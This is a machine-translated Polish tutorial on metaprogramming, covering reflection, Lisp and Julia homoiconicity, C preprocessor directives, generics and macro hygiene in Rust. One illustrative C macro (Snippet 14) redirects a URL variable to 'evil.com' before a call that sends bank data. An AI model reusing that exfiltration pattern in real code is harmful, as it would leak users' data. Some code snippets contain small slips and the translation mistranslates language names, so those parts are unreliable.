Kod pisania kodu: wprowadzenie do teorii i praktyki współczesnego metaprogramowania

Opublikowany: 2022-07-22

Za każdym razem, gdy myślę o najlepszym sposobie wyjaśnienia makr, przypominam sobie program w Pythonie, który napisałem, gdy po raz pierwszy zacząłem programować. Nie mogłem tego zorganizować tak, jak chciałem. Musiałem wywołać kilka nieco innych funkcji, a kod stał się niewygodny. To, czego szukałem — choć wtedy o tym nie wiedziałem — to metaprogramowanie .

metaprogramowanie (rzeczownik)

Dowolna technika, dzięki której program może traktować kod jako dane.

Możemy skonstruować przykład, który demonstruje te same problemy, z którymi miałem do czynienia w moim projekcie w Pythonie, wyobrażając sobie, że budujemy zaplecze aplikacji dla właścicieli zwierząt domowych. Korzystając z narzędzi z biblioteki pet_sdk , piszemy Pythona, aby pomóc właścicielom zwierząt domowych w zakupie karmy dla kotów:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Fragment 1: Zamów karmę dla kota

Po potwierdzeniu, że kod działa, przechodzimy do implementacji tej samej logiki dla dwóch kolejnych rodzajów zwierząt domowych (ptaków i psów). Dodajemy również funkcję rezerwacji wizyt weterynarza:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Fragment 2: Zamów karmę dla kotów, psów i ptaków; Zarezerwuj wizytę weterynarza

Dobrze byłoby skondensować powtarzalną logikę Snippet 2 w pętlę, więc postanowiliśmy przepisać kod. Szybko zdajemy sobie sprawę, że ponieważ każda funkcja ma inną nazwę, nie możemy określić, którą (np. book_bird_appointment , book_cat_appointment ) wywołać w naszej pętli:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Fragment 3: Co teraz?

Wyobraźmy sobie turbodoładowaną wersję Pythona, w której możemy pisać programy, które automatycznie generują ostateczny kod, jaki chcemy — taki, w którym możemy elastycznie, łatwo i płynnie manipulować naszym programem tak, jakby był listą, danymi w pliku lub jakimkolwiek innym. inny typowy typ danych lub dane wejściowe programu:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Fragment 4: TurboPython: wyimaginowany program

To jest przykład makra , dostępnego w językach takich jak Rust, Julia czy C, żeby wymienić tylko kilka — ale nie w Pythonie.

Ten scenariusz jest doskonałym przykładem tego, jak przydatne może być napisanie programu, który jest w stanie modyfikować i manipulować własnym kodem. To jest właśnie rysowanie makr i jest to jedna z wielu odpowiedzi na większe pytanie: jak możemy zmusić program do introspekcji własnego kodu, traktując go jako dane, a następnie działać na tej introspekcji?

Ogólnie rzecz biorąc, wszystkie techniki, które mogą dokonać takiej introspekcji, mieszczą się pod ogólnym terminem „metaprogramowanie”. Metaprogramowanie jest bogatą subdziedziną w projektowaniu języka programowania i można ją prześledzić do jednego ważnego pojęcia: kodu jako danych.

Refleksja: W obronie Pythona

Możesz zauważyć, że chociaż Python może nie zapewniać obsługi makr, oferuje wiele innych sposobów napisania tego kodu. Na przykład tutaj używamy metody isinstance() , aby zidentyfikować klasę, której instancją jest nasza zmienna animal i wywołać odpowiednią funkcję:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Fragment 5: Idiomatyczny przykład

Ten rodzaj metaprogramowania nazywamy refleksją i wrócimy do tego później. Kod Snippet 5 jest wciąż trochę kłopotliwy, ale łatwiejszy do napisania dla programisty niż Snippet 2, w którym powtórzyliśmy logikę dla każdego wymienionego zwierzęcia.

Wyzwanie

Korzystając z metody getattr , zmodyfikuj powyższy kod, aby dynamicznie wywoływać odpowiednie funkcje order_*_food i book_*_appointment . Prawdopodobnie sprawia to, że kod jest mniej czytelny, ale jeśli dobrze znasz Pythona, warto pomyśleć o tym, jak użyć getattr zamiast funkcji isinstance i uprościć kod.


Homoikoniczność: znaczenie Lisp

Niektóre języki programowania, takie jak Lisp, przenoszą koncepcję metaprogramowania na inny poziom poprzez homoikoniczność .

homoikoniczność (rzeczownik)

Właściwość języka programowania, w której nie ma rozróżnienia między kodem a danymi, na których działa program.

Lisp, stworzony w 1958 roku, jest najstarszym językiem homoikonicznym i drugim najstarszym językiem programowania wysokiego poziomu. Otrzymując swoją nazwę od „procesora LISt”, Lisp był rewolucją w informatyce, która głęboko ukształtowała sposób używania i programowania komputerów. Trudno przecenić, jak fundamentalnie i wyraźnie Lisp wpłynął na programowanie.

Emacs jest napisany w Lispie, który jest jedynym pięknym językiem komputerowym. Neal Stephenson

Lisp powstał zaledwie rok po FORTRANIE, w epoce kart dziurkowanych i wojskowych komputerów wypełniających pokój. Jednak programiści nadal używają Lispa do pisania nowych, nowoczesnych aplikacji. Główny twórca Lispa, John McCarthy, był pionierem w dziedzinie sztucznej inteligencji. Przez wiele lat Lisp był językiem sztucznej inteligencji, a badacze cenili umiejętność dynamicznego przepisywania własnego kodu. Dzisiejsze badania nad sztuczną inteligencją koncentrują się na sieciach neuronowych i złożonych modelach statystycznych, a nie na tego rodzaju kodzie generowania logiki. Jednak badania przeprowadzone nad sztuczną inteligencją przy użyciu Lisp – zwłaszcza badania przeprowadzone w latach 60. i 70. w MIT i Stanford – stworzyły tę dziedzinę, jaką znamy, a jej ogromny wpływ trwa.

Pojawienie się Lispa po raz pierwszy odsłoniło wczesnych programistów na praktyczne możliwości obliczeniowe takich rzeczy jak rekurencja, funkcje wyższego rzędu i połączone listy. Zademonstrował również moc języka programowania opartego na ideach rachunku lambda.

Te poglądy wywołały eksplozję w projektowaniu języków programowania i, jak ujął to Edsger Dijkstra, jedno z największych nazwisk w dziedzinie informatyki, […] pomogły wielu naszym najbardziej utalentowanym bliźnim w myśleniu wcześniej niemożliwych myśli”.

Ten przykład pokazuje prosty program w Lispie (i jego odpowiednik w bardziej znanej składni Pythona), który definiuje funkcję „silnia”, która rekurencyjnie oblicza silnię swojego wejścia i wywołuje tę funkcję z wejściem „7”:

Seplenienie Pyton
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Kod jako dane

Pomimo tego, że jest jedną z najbardziej znaczących i konsekwentnych innowacji Lispa, homoikoniczność, w przeciwieństwie do rekurencji i wielu innych koncepcji, które Lisp zapoczątkował, nie znalazła się w większości dzisiejszych języków programowania.

W poniższej tabeli porównano funkcje homoikoniczne, które zwracają kod w Julia i Lisp. Julia jest językiem homoikonicznym, który pod wieloma względami przypomina języki wysokiego poziomu, które możesz znać (np. Python, Ruby).

Kluczowym elementem składni w każdym przykładzie jest jego cytowanie . Julia używa : (dwukropek) do cytowania, podczas gdy Lisp używa ' (pojedynczy cytat):

Julia Seplenienie
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

W obu przykładach cytat obok głównego wyrażenia ( (x + 1) lub (+ x 1) ) przekształca go z kodu, który byłby oceniany bezpośrednio, w wyrażenie abstrakcyjne, którym możemy manipulować. Funkcja zwraca kod — nie ciąg znaków ani dane. Gdybyśmy mieli wywołać naszą funkcję i napisać print(function_that_returns_code()) , Julia wydrukowałaby kod z ciągiem x+1 (a odpowiednik jest prawdziwy w Lispie). I odwrotnie, bez : (lub ' w Lisp) otrzymalibyśmy błąd, że x nie zostało zdefiniowane.

Wróćmy do naszego przykładu Julii i rozszerzmy go:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Fragment 6: Rozszerzony przykład Julii

Funkcji eval można użyć do uruchomienia kodu, który generujemy z innego miejsca w programie. Zauważ, że wartość wydrukowana jest oparta na definicji zmiennej x . Gdybyśmy spróbowali eval nasz wygenerowany kod w kontekście, w którym x nie zostało zdefiniowane, otrzymalibyśmy błąd.

Homoikoniczność to potężny rodzaj metaprogramowania, zdolny do odblokowania nowatorskich i złożonych paradygmatów programowania, w których programy mogą dostosowywać się w locie, generując kod pasujący do problemów specyficznych dla domeny lub napotykanych nowych formatów danych.

Weźmy przykład WolframAlpha, gdzie homoikoniczny język Wolfram może generować kod, aby dostosować się do niewiarygodnego zakresu problemów. Możesz zapytać WolframAlpha: „Ile wynosi PKB Nowego Jorku podzielony przez populację Andory?” i, co niezwykłe, otrzymaj logiczną odpowiedź.

Wydaje się mało prawdopodobne, aby ktokolwiek pomyślał o włączeniu tych niejasnych i bezsensownych obliczeń do bazy danych, ale Wolfram używa metaprogramowania i grafu wiedzy ontologicznej, aby napisać kod w locie, aby odpowiedzieć na to pytanie.

Ważne jest, aby zrozumieć elastyczność i moc, jaką zapewniają Lisp i inne języki homoikoniczne. Zanim przejdziemy dalej, rozważmy niektóre z dostępnych opcji metaprogramowania:

Definicja Przykłady Uwagi
Homoikoniczność Charakterystyka języka, w której kod jest danymi „pierwszej klasy”. Ponieważ nie ma separacji między kodem a danymi, można ich używać zamiennie.
  • Seplenienie
  • Prolog
  • Julia
  • Rebol/Czerwony
  • Język Wolfram
Tutaj Lisp zawiera inne języki z rodziny Lisp, takie jak Scheme, Racket i Clojure.
Makra Instrukcja, funkcja lub wyrażenie, które pobiera kod jako dane wejściowe i zwraca kod jako dane wyjściowe.
  • macro_rules! , Derive i makra proceduralne
  • Julia @macro inwokacje
  • defmacro
  • C #define
(Patrz następna uwaga na temat makr w C.)
Dyrektywy preprocesora (lub Prekompilator) System, który przyjmuje program jako dane wejściowe i na podstawie instrukcji zawartych w kodzie zwraca zmienioną wersję programu jako dane wyjściowe.
  • Makra C
  • # system preprocesorów C++
Makra w języku C są zaimplementowane przy użyciu systemu preprocesorów w języku C, ale są to odrębne koncepcje.

Kluczową różnicą koncepcyjną między makrami C (w których używamy dyrektywy preprocesora #define ) a innymi formami dyrektyw preprocesora C (np. #if i #ifndef ) jest to, że używamy makr do generowania kodu przy użyciu innych niż #define dyrektywy preprocesora do warunkowego kompilowania innego kodu. Oba są blisko spokrewnione w C iw niektórych innych językach, ale są to różne typy metaprogramowania.
Odbicie Zdolność programu do badania, modyfikowania i introspekcji własnego kodu.
  • getattr isinstance funkcje
  • Reflect i typeof w JavaScript
  • getDeclaredMethods
  • Hierarchia klas System.Type .NET
Odbicie może wystąpić w czasie kompilacji lub w czasie wykonywania.
Generyki Możliwość pisania kodu, który jest prawidłowy dla wielu różnych typów lub który może być używany w wielu kontekstach, ale przechowywany w jednym miejscu. Możemy zdefiniować konteksty, w których kod jest ważny, jawnie lub niejawnie.

Ogólne w stylu szablonu:

  • C++
  • Rdza
  • Jawa

Polimorfizm parametryczny:

  • Haskell
  • ML
Programowanie generyczne to szerszy temat niż generyczne metaprogramowanie, a granica między nimi nie jest dobrze zdefiniowana.

W opinii tego autora parametryczny system typów liczy się jako metaprogramowanie tylko wtedy, gdy jest w języku statycznie typowanym.
Odniesienie do metaprogramowania

Przyjrzyjmy się kilku praktycznym przykładom homoikoniczności, makr, dyrektyw preprocesora, refleksji i generyków napisanych w różnych językach programowania:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Fragment 7: Homoikoniczność w Julii
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Fragment 8: Dyrektywy preprocesora w C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Fragment 9: Refleksja w Pythonie
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Fragment 10: Generyki w Javie
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Fragment 11: Makra w Rust

Makra (takie jak to w Snippet 11) stają się ponownie popularne w nowej generacji języków programowania. Aby skutecznie je rozwijać, musimy wziąć pod uwagę kluczowy temat: higienę.

Higieniczne i niehigieniczne makra

Co to znaczy, że kod jest „higieniczny” lub „niehigieniczny”? Aby wyjaśnić, spójrzmy na makro Rust, tworzone przez macro_rules! funkcjonować. Jak sama nazwa wskazuje, macro_rules! generuje kod na podstawie zdefiniowanych przez nas reguł. W tym przypadku nazwaliśmy nasze makro my_macro , a regułą jest „Create the line of code let x = $n ”, gdzie n to nasze dane wejściowe:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Fragment 12: Higiena w rdzy

Kiedy rozszerzymy nasze makro (uruchomienie makra, aby zastąpić jego wywołanie kodem, który generuje), oczekiwalibyśmy, że otrzymamy:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Fragment 13: Nasz przykład, rozwinięty

Pozornie nasze makro przedefiniowało zmienną x na 3, więc możemy rozsądnie oczekiwać, że program wypisze 3 . W rzeczywistości drukuje 5 ! Zaskoczony? W Rust macro_rules! jest higieniczny w odniesieniu do identyfikatorów, więc nie „przechwytuje” identyfikatorów poza jego zakresem. W tym przypadku identyfikatorem był x . Gdyby został przechwycony przez makro, byłby równy 3.

higiena (rzeczownik)

Właściwość gwarantująca, że ​​rozwinięcie makra nie przechwyci identyfikatorów ani innych stanów spoza zakresu makra. Makra i systemy makr, które nie zapewniają tej właściwości, nazywane są niehigienicznymi .

Higiena w makrach jest dość kontrowersyjnym tematem wśród programistów. Zwolennicy twierdzą, że bez higieny bardzo łatwo jest przypadkowo zmodyfikować zachowanie kodu. Wyobraź sobie makro, które jest znacznie bardziej złożone niż fragment 13 używany w złożonym kodzie z wieloma zmiennymi i innymi identyfikatorami. Co by było, gdyby to makro używało jednej z tych samych zmiennych, co Twój kod — a Ty tego nie zauważyłeś?

Nie jest niczym niezwykłym, że programista używa makra z zewnętrznej biblioteki bez przeczytania kodu źródłowego. Jest to szczególnie powszechne w nowszych językach oferujących obsługę makr (np. Rust i Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Fragment 14: Zła makro-C

To niehigieniczne makro w języku C przechwytuje website z identyfikatorem i zmienia jej wartość. Oczywiście przechwytywanie identyfikatora nie jest złośliwe. To tylko przypadkowa konsekwencja użycia makr.

Tak więc makra higieniczne są dobre, a makra niehigieniczne są złe, prawda? Niestety nie jest to takie proste. Istnieje mocny argument, że higieniczne makra nas ograniczają. Czasami przydatne jest przechwytywanie identyfikatora. Wróćmy do Snippet 2, w którym używamy pet_sdk do świadczenia usług dla trzech rodzajów zwierząt. Nasz oryginalny kod zaczynał się tak:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Fragment 15: Powrót do weterynarza — Przywołanie pet sdk

Przypomnij sobie, że Snippet 3 był próbą skondensowania powtarzalnej logiki Snippet 2 w pętlę all-inclusive. Ale co jeśli nasz kod zależy od identyfikatorów cats and dogs , a chcieliśmy napisać coś takiego:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Fragment 16: Przydatne przechwytywanie identyfikatorów (w wyimaginowanym „TurboPythonie”)

Snippet 16 jest oczywiście trochę prosty, ale wyobraźmy sobie przypadek, w którym chcielibyśmy, aby makro zapisało 100% danej części kodu. W takim przypadku makra higieniczne mogą być ograniczeniem.

Chociaż debata na temat higieny kontra niehigieniczna może być złożona, dobrą wiadomością jest to, że nie jest to taka, w której trzeba zająć stanowisko. Język, którego używasz, określa, czy Twoje makra będą higieniczne, czy niehigieniczne, więc pamiętaj o tym podczas korzystania z makr.

Nowoczesne makra

Makra mają teraz chwilę. Przez długi czas, współczesne imperatywne języki programowania odchodziły od makr jako podstawowej części ich funkcjonalności, rezygnując z nich na rzecz innych typów metaprogramowania.

Języki, których nowi programiści byli uczeni w szkołach (np. Python i Java), powiedziały im, że wszystko, czego potrzebują, to refleksja i generyki.

Z biegiem czasu, gdy te nowoczesne języki stały się popularne, makra zaczęły kojarzyć się z zastraszającą składnią preprocesorów C i C++ — o ile programiści w ogóle o nich wiedzieli.

Jednak wraz z pojawieniem się Rusta i Julii trend powrócił do makr. Rust i Julia to dwa nowoczesne, dostępne i szeroko używane języki, które na nowo zdefiniowały i spopularyzowały koncepcję makr dzięki nowym i innowacyjnym pomysłom. Jest to szczególnie ekscytujące w Julii, która wygląda na gotową do zastąpienia Pythona i R jako łatwego w użyciu, uniwersalnego języka „zawierającego baterie”.

Kiedy po raz pierwszy spojrzeliśmy na pet_sdk przez nasze okulary „TurboPython”, tak naprawdę chcieliśmy coś w stylu Julii. Przepiszmy Snippet 2 w Julii, używając jego homoikoniczności i niektórych innych narzędzi metaprogramowania, które oferuje:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Fragment 17: Potęga makr Julii — jak sprawić, by pet_sdk dla nas

Przeanalizujmy fragment 17:

  1. Przechodzimy przez trzy krotki. Pierwszym z nich jest ("cat", :clean_litterbox) , więc zmienna pet jest przypisana do "cat" , a zmienna care_fn jest przypisana do symbolu w cudzysłowie :clean_litterbox .
  2. Używamy funkcji Meta.parse do konwersji ciągu znaków na Expression , dzięki czemu możemy ocenić go jako kod. W tym przypadku chcemy użyć możliwości interpolacji ciągów, gdzie możemy wstawić jeden ciąg do drugiego, aby określić, jaką funkcję należy wywołać.
  3. Używamy funkcji eval do uruchomienia generowanego kodu. @eval begin… end to kolejny sposób na napisanie eval(...) , aby uniknąć przepisywania kodu. Wewnątrz bloku @eval znajduje się kod, który generujemy dynamicznie i działamy.

System metaprogramowania Julii naprawdę pozwala nam wyrażać to, czego chcemy, tak jak tego chcemy. Mogliśmy użyć kilku innych podejść, w tym refleksji (jak Python w Snippet 5). Mogliśmy również napisać funkcję makra, która jawnie generuje kod dla konkretnego zwierzęcia, lub wygenerować cały kod jako ciąg znaków i użyć Meta.parse lub dowolnej kombinacji tych metod.

Poza Julią: inne nowoczesne systemy metaprogramowania

Julia jest być może jednym z najciekawszych i najbardziej przekonujących przykładów nowoczesnego systemu makro, ale w żadnym wypadku nie jest jedynym. Rust również odegrał kluczową rolę w ponownym udostępnieniu makr programistom.

W Ruście makra są o wiele bardziej centralne niż w Julii, chociaż nie będziemy tego w pełni omawiać tutaj. Z wielu powodów nie można napisać idiomatycznego Rusta bez użycia makr. Jednak w Julii możesz całkowicie zignorować system homoikoniczności i makro.

Bezpośrednią konsekwencją tej centralności jest to, że ekosystem Rusta naprawdę objął makra. Członkowie społeczności zbudowali niewiarygodnie fajne biblioteki, dowody koncepcji i funkcje z makrami, w tym narzędzia, które mogą serializować i deserializować dane, automatycznie generować SQL, a nawet konwertować adnotacje pozostawione w kodzie na inny język programowania, wszystkie wygenerowane w kodzie pod adresem czas kompilacji.

Podczas gdy metaprogramowanie Julii może być bardziej ekspresyjne i bezpłatne, Rust jest prawdopodobnie najlepszym przykładem współczesnego języka, który podnosi poziom metaprogramowania, ponieważ jest często opisywany w całym języku.

Oko w przyszłość

Teraz jest niesamowity czas na zainteresowanie się językami programowania. Dziś potrafię napisać aplikację w C++ i uruchomić ją w przeglądarce internetowej lub napisać aplikację w JavaScript do uruchomienia na komputerze stacjonarnym lub telefonie. Bariery wejścia nigdy nie były niższe, a nowi programiści mają informacje na wyciągnięcie ręki, jak nigdy dotąd.

W tym świecie wyboru i wolności programistów coraz częściej mamy przywilej używania bogatych, nowoczesnych języków, które wybierają cechy i koncepcje z historii informatyki i wcześniejszych języków programowania. To ekscytujące widzieć makra zbierane i odkurzane na tej fali rozwoju. Nie mogę się doczekać, aby zobaczyć, co zrobią programiści nowej generacji, gdy Rust i Julia wprowadzą ich do makr. Pamiętaj, że „koduj jako dane” to coś więcej niż tylko slogan. Jest to podstawowa ideologia, o której należy pamiętać, omawiając metaprogramowanie w dowolnej społeczności internetowej lub środowisku akademickim.

„Kod jako dane” to coś więcej niż tylko hasło.

Ćwierkać

64-letnia historia metaprogramowania była integralną częścią rozwoju programowania, jakie znamy dzisiaj. Podczas gdy odkrywane przez nas innowacje i historia są zaledwie ułamkiem sagi o metaprogramowaniu, ilustrują moc i użyteczność współczesnego metaprogramowania.